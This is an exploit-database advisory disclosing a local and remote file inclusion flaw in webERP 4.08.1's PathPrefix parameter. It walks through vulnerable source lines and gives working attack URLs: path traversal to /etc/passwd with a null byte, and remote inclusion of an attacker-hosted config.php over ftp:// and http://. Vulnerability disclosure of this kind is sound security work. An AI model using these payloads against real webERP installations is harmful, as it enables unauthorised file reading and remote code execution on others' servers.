webERP 4.08.1 - Local/Remote File Inclusion

EDB-ID:

19431

CVE:



Author:

dun

Type:

webapps


Platform:

PHP

Date:

2012-06-28


  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
	
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-27                              ]
 ###################################################################
 # [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability  #
 ###################################################################
 #
 # Script: "Accounting & Best Practice Business Administration System"
 #
 # Vendor:   http://www.weberp.org/
 # Download: http://sourceforge.net/projects/web-erp/files/
 #
 # File: ./webERP/index.php (line: 4)
 #   1    <?php
 #   2    $PageSecurity=0;
 #   3
 #   4    include('includes/session.inc');                    // 1
 #  ..cut..
 #
 # File: ./webERP/includes/session.inc (lines: 4-16)
 #  ..cut..
 #   4    if (!isset($PathPrefix)) {                          // 2
 #   5        $PathPrefix='';
 #   6    }
 #   7
 #   8
 #   9    if (!file_exists($PathPrefix . 'config.php')){      // 3
 #  10        $rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));
 #  11        if ($rootpath == '/' OR $rootpath == "\\") {
 #  12            $rootpath = '';
 #  13        }
 #  14        header('Location:' . $rootpath . '/install/index.php');
 #  15    }
 #  16    include($PathPrefix . 'config.php');                // 4 [LFI]/[RFI]
 #  ..cut..
 #    
 # [LFI] ( magic_quotes_gpc = Off; )
 # Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
 #
 # [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
 # It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),
 # when we use some url wrappers. For example ftp://
 # Example:
 #
 # dun@rd01 ~ $ cat ./config.php
 #  <?php phpinfo(); ?>
 # dun@rd01 ~ $ ftp ftp.server.com
 #  Connected to ftp.server.com.
 #  Name (ftp.server.com): user
 #  331 User user OK. Password required
 #  Password:
 #  230 OK. Current restricted directory is /
 #  ftp> put config.php
 #  local: config.php remote: config.php
 #  200 PORT command successful
 #  226 File successfully transferred
 #  ftp> quit
 #  221 Logout.
 #
 # Now we can use url:
 # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/
 # In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.
 # If exist, then include it.
 #
 ###################################################################
 #
 # [RFI #2] ( allow_url_include = On; register_globals = On; ) 
 #
 # File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
 #  ..cut.. 
 #  29    if (!function_exists('gettext')) {
 #  ..cut..
 #  34        require_once($PathPrefix . 'includes/php-gettext/streams.php');
 #  ..cut..
 #  64    } else {
 #  65        include($PathPrefix . 'includes/LanguagesArray.php');
 #  ..cut..
 #  84    }
 #  ..cut..
 #
 # Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
 #
 ### [ dun / 2012 ] #####################################################